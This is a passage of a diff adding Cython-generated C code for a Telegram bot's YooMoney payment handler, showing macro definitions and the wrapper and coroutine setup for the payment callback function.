Py_VISIT(traverse_module_state->__pyx_n_u_yoomoney_2); + Py_VISIT(traverse_module_state->__pyx_n_u_yoomoney_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_yoomoney_webhook); + Py_VISIT(traverse_module_state->__pyx_float_0_0); + Py_VISIT(traverse_module_state->__pyx_int_0); + Py_VISIT(traverse_module_state->__pyx_int_1); + Py_VISIT(traverse_module_state->__pyx_int_2); + Py_VISIT(traverse_module_state->__pyx_int_200); + Py_VISIT(traverse_module_state->__pyx_int_400); + Py_VISIT(traverse_module_state->__pyx_codeobj_); + Py_VISIT(traverse_module_state->__pyx_tuple__7); + Py_VISIT(traverse_module_state->__pyx_tuple__17); + Py_VISIT(traverse_module_state->__pyx_tuple__23); + Py_VISIT(traverse_module_state->__pyx_tuple__24); + Py_VISIT(traverse_module_state->__pyx_tuple__25); + Py_VISIT(traverse_module_state->__pyx_tuple__26); + Py_VISIT(traverse_module_state->__pyx_tuple__27); + Py_VISIT(traverse_module_state->__pyx_tuple__28); + Py_VISIT(traverse_module_state->__pyx_codeobj__5); + Py_VISIT(traverse_module_state->__pyx_codeobj__11); + Py_VISIT(traverse_module_state->__pyx_codeobj__14); + Py_VISIT(traverse_module_state->__pyx_codeobj__18); + return 0; +} +#endif +/* #### Code section: module_state_defines ### */ +#define __pyx_d __pyx_mstate_global->__pyx_d +#define __pyx_b __pyx_mstate_global->__pyx_b +#define __pyx_cython_runtime __pyx_mstate_global->__pyx_cython_runtime +#define __pyx_empty_tuple __pyx_mstate_global->__pyx_empty_tuple +#define __pyx_empty_bytes __pyx_mstate_global->__pyx_empty_bytes +#define __pyx_empty_unicode __pyx_mstate_global->__pyx_empty_unicode +#ifdef __Pyx_CyFunction_USED +#define __pyx_CyFunctionType __pyx_mstate_global->__pyx_CyFunctionType +#endif +#ifdef __Pyx_FusedFunction_USED +#define __pyx_FusedFunctionType __pyx_mstate_global->__pyx_FusedFunctionType +#endif +#ifdef __Pyx_Generator_USED +#define __pyx_GeneratorType __pyx_mstate_global->__pyx_GeneratorType +#endif +#ifdef __Pyx_IterableCoroutine_USED +#define __pyx_IterableCoroutineType __pyx_mstate_global->__pyx_IterableCoroutineType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineAwaitType __pyx_mstate_global->__pyx_CoroutineAwaitType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineType __pyx_mstate_global->__pyx_CoroutineType +#endif +#if CYTHON_USE_MODULE_STATE +#define __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney __pyx_mstate_global->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney +#define __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection __pyx_mstate_global->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection +#define __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook __pyx_mstate_global->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook +#define __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount __pyx_mstate_global->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount +#define __pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input __pyx_mstate_global->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input +#endif +#define __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney +#define __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection +#define __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook +#define __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount +#define __pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input __pyx_mstate_global->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input +#define __pyx_kp_u_Account_ID __pyx_mstate_global->__pyx_kp_u_Account_ID +#define __pyx_n_s_Any __pyx_mstate_global->__pyx_n_s_Any +#define __pyx_n_s_F __pyx_mstate_global->__pyx_n_s_F +#define __pyx_n_s_FSMContext __pyx_mstate_global->__pyx_n_s_FSMContext +#define __pyx_n_u_HASHHASHYOOKASSA __pyx_mstate_global->__pyx_n_u_HASHHASHYOOKASSA +#define __pyx_n_s_InlineKeyboardBuilder __pyx_mstate_global->__pyx_n_s_InlineKeyboardBuilder +#define __pyx_n_s_InlineKeyboardButton __pyx_mstate_global->__pyx_n_s_InlineKeyboardButton +#define __pyx_n_s_InlineKeyboardMarkup __pyx_mstate_global->__pyx_n_s_InlineKeyboardMarkup +#define __pyx_n_s_PAYMENT_OPTIONS __pyx_mstate_global->__pyx_n_s_PAYMENT_OPTIONS +#define __pyx_kp_u_Payment_succeeded_for_user_id __pyx_mstate_global->__pyx_kp_u_Payment_succeeded_for_user_id +#define __pyx_n_s_ReplenishBalanceState __pyx_mstate_global->__pyx_n_s_ReplenishBalanceState +#define __pyx_n_s_Response __pyx_mstate_global->__pyx_n_s_Response +#define __pyx_n_s_Router __pyx_mstate_global->__pyx_n_s_Router +#define __pyx_n_s_State __pyx_mstate_global->__pyx_n_s_State +#define __pyx_n_s_StatesGroup __pyx_mstate_global->__pyx_n_s_StatesGroup +#define __pyx_n_s_ValueError __pyx_mstate_global->__pyx_n_s_ValueError +#define __pyx_kp_u_Webhook_event_received __pyx_mstate_global->__pyx_kp_u_Webhook_event_received +#define __pyx_n_s_YOOKASSA_HASH __pyx_mstate_global->__pyx_n_s_YOOKASSA_HASH +#define __pyx_kp_u_YOOKASSA_HASH_2 __pyx_mstate_global->__pyx_kp_u_YOOKASSA_HASH_2 +#define __pyx_n_s_YOOMONEY_ENABLE __pyx_mstate_global->__pyx_n_s_YOOMONEY_ENABLE +#define __pyx_n_s_YOOMONEY_ID __pyx_mstate_global->__pyx_n_s_YOOMONEY_ID +#define __pyx_n_s_YOOMONEY_SECRET_KEY __pyx_mstate_global->__pyx_n_s_YOOMONEY_SECRET_KEY +#define __pyx_kp_u__10 __pyx_mstate_global->__pyx_kp_u__10 +#define __pyx_kp_u__12 __pyx_mstate_global->__pyx_kp_u__12 +#define __pyx_kp_u__13 __pyx_mstate_global->__pyx_kp_u__13 +#define __pyx_kp_u__15 __pyx_mstate_global->__pyx_kp_u__15 +#define __pyx_kp_u__16 __pyx_mstate_global->__pyx_kp_u__16 +#define __pyx_kp_u__19 __pyx_mstate_global->__pyx_kp_u__19 +#define __pyx_kp_u__2 __pyx_mstate_global->__pyx_kp_u__2 +#define __pyx_kp_u__20 __pyx_mstate_global->__pyx_kp_u__20 +#define __pyx_n_s__21 __pyx_mstate_global->__pyx_n_s__21 +#define __pyx_kp_u__22 __pyx_mstate_global->__pyx_kp_u__22 +#define __pyx_n_s__29 __pyx_mstate_global->__pyx_n_s__29 +#define __pyx_kp_u__3 __pyx_mstate_global->__pyx_kp_u__3 +#define __pyx_kp_u__4 __pyx_mstate_global->__pyx_kp_u__4 +#define __pyx_kp_u__6 __pyx_mstate_global->__pyx_kp_u__6 +#define __pyx_n_u__8 __pyx_mstate_global->__pyx_n_u__8 +#define __pyx_kp_u__9 __pyx_mstate_global->__pyx_kp_u__9 +#define __pyx_n_s_account_id __pyx_mstate_global->__pyx_n_s_account_id +#define __pyx_n_s_add_connection __pyx_mstate_global->__pyx_n_s_add_connection +#define __pyx_n_s_add_payment __pyx_mstate_global->__pyx_n_s_add_payment +#define __pyx_n_s_aiogram __pyx_mstate_global->__pyx_n_s_aiogram +#define __pyx_n_s_aiogram_fsm_context __pyx_mstate_global->__pyx_n_s_aiogram_fsm_context +#define __pyx_n_s_aiogram_fsm_state __pyx_mstate_global->__pyx_n_s_aiogram_fsm_state +#define __pyx_n_s_aiogram_types __pyx_mstate_global->__pyx_n_s_aiogram_types +#define __pyx_n_s_aiogram_utils_keyboard __pyx_mstate_global->__pyx_n_s_aiogram_utils_keyboard +#define __pyx_n_s_aiohttp __pyx_mstate_global->__pyx_n_s_aiohttp +#define __pyx_n_s_amount __pyx_mstate_global->__pyx_n_s_amount +#define __pyx_n_u_amount __pyx_mstate_global->__pyx_n_u_amount +#define __pyx_kp_u_amount_2 __pyx_mstate_global->__pyx_kp_u_amount_2 +#define __pyx_n_s_amount_str __pyx_mstate_global->__pyx_n_s_amount_str +#define __pyx_n_s_answer __pyx_mstate_global->__pyx_n_s_answer +#define __pyx_n_s_args __pyx_mstate_global->__pyx_n_s_args +#define __pyx_n_s_as_markup __pyx_mstate_global->__pyx_n_s_as_markup +#define __pyx_n_s_asyncio_coroutines __pyx_mstate_global->__pyx_n_s_asyncio_coroutines +#define __pyx_n_s_await __pyx_mstate_global->__pyx_n_s_await +#define __pyx_n_s_balance __pyx_mstate_global->__pyx_n_s_balance +#define __pyx_n_s_builder __pyx_mstate_global->__pyx_n_s_builder +#define __pyx_n_s_calculated_hash __pyx_mstate_global->__pyx_n_s_calculated_hash +#define __pyx_n_s_callback_data __pyx_mstate_global->__pyx_n_s_callback_data +#define __pyx_n_u_callback_data __pyx_mstate_global->__pyx_n_u_callback_data +#define __pyx_n_s_callback_query __pyx_mstate_global->__pyx_n_s_callback_query +#define __pyx_n_s_chat __pyx_mstate_global->__pyx_n_s_chat +#define __pyx_n_s_check_connection_exists __pyx_mstate_global->__pyx_n_s_check_connection_exists +#define __pyx_n_s_choosing_amount_yoomoney __pyx_mstate_global->__pyx_n_s_choosing_amount_yoomoney +#define __pyx_n_s_class_getitem __pyx_mstate_global->__pyx_n_s_class_getitem +#define __pyx_n_s_cline_in_traceback __pyx_mstate_global->__pyx_n_s_cline_in_traceback +#define __pyx_n_s_close __pyx_mstate_global->__pyx_n_s_close +#define __pyx_n_u_codepro __pyx_mstate_global->__pyx_n_u_codepro +#define __pyx_n_s_config __pyx_mstate_global->__pyx_n_s_config +#define __pyx_n_s_confirm_keyboard __pyx_mstate_global->__pyx_n_s_confirm_keyboard +#define __pyx_n_u_currency __pyx_mstate_global->__pyx_n_u_currency +#define __pyx_n_s_customer_id __pyx_mstate_global->__pyx_n_s_customer_id +#define __pyx_n_s_data __pyx_mstate_global->__pyx_n_s_data +#define __pyx_n_s_database __pyx_mstate_global->__pyx_n_s_database +#define __pyx_n_u_datetime __pyx_mstate_global->__pyx_n_u_datetime +#define __pyx_n_s_debug __pyx_mstate_global->__pyx_n_s_debug +#define __pyx_n_s_dict __pyx_mstate_global->__pyx_n_s_dict +#define __pyx_kp_u_disable __pyx_mstate_global->__pyx_kp_u_disable +#define __pyx_n_s_doc __pyx_mstate_global->__pyx_n_s_doc +#define __pyx_n_s_e __pyx_mstate_global->__pyx_n_s_e +#define __pyx_kp_u_enable __pyx_mstate_global->__pyx_kp_u_enable +#define __pyx_n_u_enter_custom_amount_yoomoney __pyx_mstate_global->__pyx_n_u_enter_custom_amount_yoomoney +#define __pyx_n_s_entering_custom_amount_yoomoney __pyx_mstate_global->__pyx_n_s_entering_custom_amount_yoomoney +#define __pyx_n_s_error __pyx_mstate_global->__pyx_n_s_error +#define __pyx_n_s_exists __pyx_mstate_global->__pyx_n_s_exists +#define __pyx_n_s_expected_hash __pyx_mstate_global->__pyx_n_s_expected_hash +#define __pyx_kp_u_gc __pyx_mstate_global->__pyx_kp_u_gc +#define __pyx_n_s_get __pyx_mstate_global->__pyx_n_s_get +#define __pyx_n_s_get_key_count __pyx_mstate_global->__pyx_n_s_get_key_count +#define __pyx_n_s_handlers_payments_gift __pyx_mstate_global->__pyx_n_s_handlers_payments_gift +#define __pyx_n_s_handlers_payments_utils __pyx_mstate_global->__pyx_n_s_handlers_payments_utils +#define __pyx_n_s_handlers_payments_yoomoney_pay __pyx_mstate_global->__pyx_n_s_handlers_payments_yoomoney_pay +#define __pyx_kp_s_handlers_payments_yoomoney_pay_p __pyx_mstate_global->__pyx_kp_s_handlers_payments_yoomoney_pay_p +#define __pyx_n_s_handlers_texts __pyx_mstate_global->__pyx_n_s_handlers_texts +#define __pyx_n_s_hashlib __pyx_mstate_global->__pyx_n_s_hashlib +#define __pyx_n_s_hexdigest __pyx_mstate_global->__pyx_n_s_hexdigest +#define __pyx_kp_u_https_yoomoney_ru_quickpay_confi __pyx_mstate_global->__pyx_kp_u_https_yoomoney_ru_quickpay_confi +#define __pyx_n_s_i __pyx_mstate_global->__pyx_n_s_i +#define __pyx_n_s_id __pyx_mstate_global->__pyx_n_s_id +#define __pyx_n_s_import __pyx_mstate_global->__pyx_n_s_import +#define __pyx_n_s_init_subclass __pyx_mstate_global->__pyx_n_s_init_subclass +#define __pyx_n_s_initializing __pyx_mstate_global->__pyx_n_s_initializing +#define __pyx_n_s_inline_keyboard __pyx_mstate_global->__pyx_n_s_inline_keyboard +#define __pyx_n_s_is_coroutine __pyx_mstate_global->__pyx_n_s_is_coroutine +#define __pyx_n_s_isdigit __pyx_mstate_global->__pyx_n_s_isdigit +#define __pyx_kp_u_isenabled __pyx_mstate_global->__pyx_kp_u_isenabled +#define __pyx_n_s_key_count __pyx_mstate_global->__pyx_n_s_key_count +#define __pyx_n_u_label __pyx_mstate_global->__pyx_n_u_label +#define __pyx_n_s_logger __pyx_mstate_global->__pyx_n_s_logger +#define __pyx_n_s_main __pyx_mstate_global->__pyx_n_s_main +#define __pyx_n_s_message __pyx_mstate_global->__pyx_n_s_message +#define __pyx_n_s_metaclass __pyx_mstate_global->__pyx_n_s_metaclass +#define __pyx_n_s_module __pyx_mstate_global->__pyx_n_s_module +#define __pyx_n_s_mro_entries __pyx_mstate_global->__pyx_n_s_mro_entries +#define __pyx_n_s_name __pyx_mstate_global->__pyx_n_s_name +#define __pyx_n_s_notification_secret __pyx_mstate_global->__pyx_n_s_notification_secret +#define __pyx_n_u_notification_type __pyx_mstate_global->__pyx_n_u_notification_type +#define __pyx_n_u_operation_id __pyx_mstate_global->__pyx_n_u_operation_id +#define __pyx_n_u_pay __pyx_mstate_global->__pyx_n_u_pay +#define __pyx_n_u_pay_yoomoney __pyx_mstate_global->__pyx_n_u_pay_yoomoney +#define __pyx_kp_u_paymentType_PC_comment_label __pyx_mstate_global->__pyx_kp_u_paymentType_PC_comment_label +#define __pyx_n_s_payment_url __pyx_mstate_global->__pyx_n_s_payment_url +#define __pyx_n_s_post __pyx_mstate_global->__pyx_n_s_post +#define __pyx_n_s_prepare __pyx_mstate_global->__pyx_n_s_prepare +#define __pyx_n_s_process_amount_selection __pyx_mstate_global->__pyx_n_s_process_amount_selection +#define __pyx_n_s_process_callback_pay_yoomoney __pyx_mstate_global->__pyx_n_s_process_callback_pay_yoomoney +#define __pyx_n_s_process_custom_amount_input __pyx_mstate_global->__pyx_n_s_process_custom_amount_input +#define __pyx_n_s_process_enter_custom_amount __pyx_mstate_global->__pyx_n_s_process_enter_custom_amount +#define __pyx_n_s_qualname __pyx_mstate_global->__pyx_n_s_qualname +#define __pyx_kp_u_quickpay_form_shop_targets_sum __pyx_mstate_global->__pyx_kp_u_quickpay_form_shop_targets_sum +#define __pyx_n_s_range __pyx_mstate_global->__pyx_n_s_range +#define __pyx_n_s_reply_markup __pyx_mstate_global->__pyx_n_s_reply_markup +#define __pyx_n_s_request __pyx_mstate_global->__pyx_n_s_request +#define __pyx_n_s_router __pyx_mstate_global->__pyx_n_s_router +#define __pyx_n_s_row __pyx_mstate_global->__pyx_n_s_row +#define __pyx_n_s_send __pyx_mstate_global->__pyx_n_s_send +#define __pyx_n_s_send_payment_success_notificatio __pyx_mstate_global->__pyx_n_s_send_payment_success_notificatio +#define __pyx_n_u_sender __pyx_mstate_global->__pyx_n_u_sender +#define __pyx_n_s_session __pyx_mstate_global->__pyx_n_s_session +#define __pyx_n_s_set_name __pyx_mstate_global->__pyx_n_s_set_name +#define __pyx_n_s_set_state __pyx_mstate_global->__pyx_n_s_set_state +#define __pyx_n_s_sha1 __pyx_mstate_global->__pyx_n_s_sha1 +#define __pyx_n_s_sha1_hash __pyx_mstate_global->__pyx_n_s_sha1_hash +#define __pyx_n_u_sha1_hash __pyx_mstate_global->__pyx_n_u_sha1_hash +#define __pyx_kp_u_solonet_sup __pyx_mstate_global->__pyx_kp_u_solonet_sup +#define __pyx_n_s_spec __pyx_mstate_global->__pyx_n_s_spec +#define __pyx_n_s_split __pyx_mstate_global->__pyx_n_s_split +#define __pyx_n_s_startswith __pyx_mstate_global->__pyx_n_s_startswith +#define __pyx_n_s_state __pyx_mstate_global->__pyx_n_s_state +#define __pyx_n_s_status __pyx_mstate_global->__pyx_n_s_status +#define __pyx_n_s_string_to_hash __pyx_mstate_global->__pyx_n_s_string_to_hash +#define __pyx_n_s_super __pyx_mstate_global->__pyx_n_s_super +#define __pyx_n_s_test __pyx_mstate_global->__pyx_n_s_test +#define __pyx_n_s_text __pyx_mstate_global->__pyx_n_s_text +#define __pyx_n_u_text __pyx_mstate_global->__pyx_n_u_text +#define __pyx_n_s_tg_id __pyx_mstate_global->__pyx_n_s_tg_id +#define __pyx_n_s_throw __pyx_mstate_global->__pyx_n_s_throw +#define __pyx_n_s_trial __pyx_mstate_global->__pyx_n_s_trial +#define __pyx_n_s_types __pyx_mstate_global->__pyx_n_s_types +#define __pyx_kp_s_types_CallbackQuery __pyx_mstate_global->__pyx_kp_s_types_CallbackQuery +#define __pyx_kp_s_types_Message __pyx_mstate_global->__pyx_kp_s_types_Message +#define __pyx_n_s_typing __pyx_mstate_global->__pyx_n_s_typing +#define __pyx_n_s_update_balance __pyx_mstate_global->__pyx_n_s_update_balance +#define __pyx_n_s_update_data __pyx_mstate_global->__pyx_n_s_update_data +#define __pyx_n_s_url __pyx_mstate_global->__pyx_n_s_url +#define __pyx_n_s_user_id __pyx_mstate_global->__pyx_n_s_user_id +#define __pyx_kp_u_user_id_amount __pyx_mstate_global->__pyx_kp_u_user_id_amount +#define __pyx_n_s_user_id_str __pyx_mstate_global->__pyx_n_s_user_id_str +#define __pyx_n_s_waiting_for_payment_confirmation __pyx_mstate_global->__pyx_n_s_waiting_for_payment_confirmation +#define __pyx_n_s_web __pyx_mstate_global->__pyx_n_s_web +#define __pyx_kp_s_web_Request __pyx_mstate_global->__pyx_kp_s_web_Request +#define __pyx_n_u_withdraw_amount __pyx_mstate_global->__pyx_n_u_withdraw_amount +#define __pyx_n_u_yoomoney __pyx_mstate_global->__pyx_n_u_yoomoney +#define __pyx_n_u_yoomoney_2 __pyx_mstate_global->__pyx_n_u_yoomoney_2 +#define __pyx_n_u_yoomoney_amount __pyx_mstate_global->__pyx_n_u_yoomoney_amount +#define __pyx_n_s_yoomoney_webhook __pyx_mstate_global->__pyx_n_s_yoomoney_webhook +#define __pyx_float_0_0 __pyx_mstate_global->__pyx_float_0_0 +#define __pyx_int_0 __pyx_mstate_global->__pyx_int_0 +#define __pyx_int_1 __pyx_mstate_global->__pyx_int_1 +#define __pyx_int_2 __pyx_mstate_global->__pyx_int_2 +#define __pyx_int_200 __pyx_mstate_global->__pyx_int_200 +#define __pyx_int_400 __pyx_mstate_global->__pyx_int_400 +#define __pyx_codeobj_ __pyx_mstate_global->__pyx_codeobj_ +#define __pyx_tuple__7 __pyx_mstate_global->__pyx_tuple__7 +#define __pyx_tuple__17 __pyx_mstate_global->__pyx_tuple__17 +#define __pyx_tuple__23 __pyx_mstate_global->__pyx_tuple__23 +#define __pyx_tuple__24 __pyx_mstate_global->__pyx_tuple__24 +#define __pyx_tuple__25 __pyx_mstate_global->__pyx_tuple__25 +#define __pyx_tuple__26 __pyx_mstate_global->__pyx_tuple__26 +#define __pyx_tuple__27 __pyx_mstate_global->__pyx_tuple__27 +#define __pyx_tuple__28 __pyx_mstate_global->__pyx_tuple__28 +#define __pyx_codeobj__5 __pyx_mstate_global->__pyx_codeobj__5 +#define __pyx_codeobj__11 __pyx_mstate_global->__pyx_codeobj__11 +#define __pyx_codeobj__14 __pyx_mstate_global->__pyx_codeobj__14 +#define __pyx_codeobj__18 __pyx_mstate_global->__pyx_codeobj__18 +/* #### Code section: module_code ### */ +static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/yoomoney_pay.py":38 + * + * + * @router.callback_query(F.data == "pay_yoomoney") # <<<<<<<<<<<<<< + * async def process_callback_pay_yoomoney( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_12yoomoney_pay_1process_callback_pay_yoomoney(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_12yoomoney_pay_1process_callback_pay_yoomoney = {"process_callback_pay_yoomoney", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yoomoney_pay_1process_callback_pay_yoomoney, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_12yoomoney_pay_1process_callback_pay_yoomoney(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + PyObject *__pyx_v_session = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[3] = {0,0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_callback_pay_yoomoney (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,&__pyx_n_s_session,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 3: values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + CYTHON_FALLTHROUGH; + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 38, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 38, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_callback_pay_yoomoney", 1, 3, 3, 1); __PYX_ERR(0, 38, __pyx_L3_error) + } + CYTHON_FALLTHROUGH; + case 2: + if (likely((values[2] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_session)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[2]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 38, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_callback_pay_yoomoney", 1, 3, 3, 2); __PYX_ERR(0, 38, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_callback_pay_yoomoney") < 0)) __PYX_ERR(0, 38, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 3)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + __pyx_v_session = values[2]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_callback_pay_yoomoney", 1, 3, 3, __pyx_nargs); __PYX_ERR(0, 38, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.yoomoney_pay.process_callback_pay_yoomoney", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_12yoomoney_pay_process_callback_pay_yoomoney(__pyx_self, __pyx_v_callback_query, __pyx_v_state, __pyx_v_session); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_process_callback_pay_yoomoney(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state, PyObject *__pyx_v_session) { + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_callback_pay_yoomoney", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney *)__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 38, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + __pyx_cur_scope->__pyx_v_session = __pyx_v_session; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yoomoney_pay_2generator, __pyx_codeobj_, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_callback_pay_yoomoney, __pyx_n_s_process_callback_pay_yoomoney, __pyx_n_s_handlers_payments_yoomoney_pay); if (unlikely(!gen)) __PYX_ERR(0, 38, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.yoomoney_pay.process_callback_pay_yoomoney", __pyx_clineno, 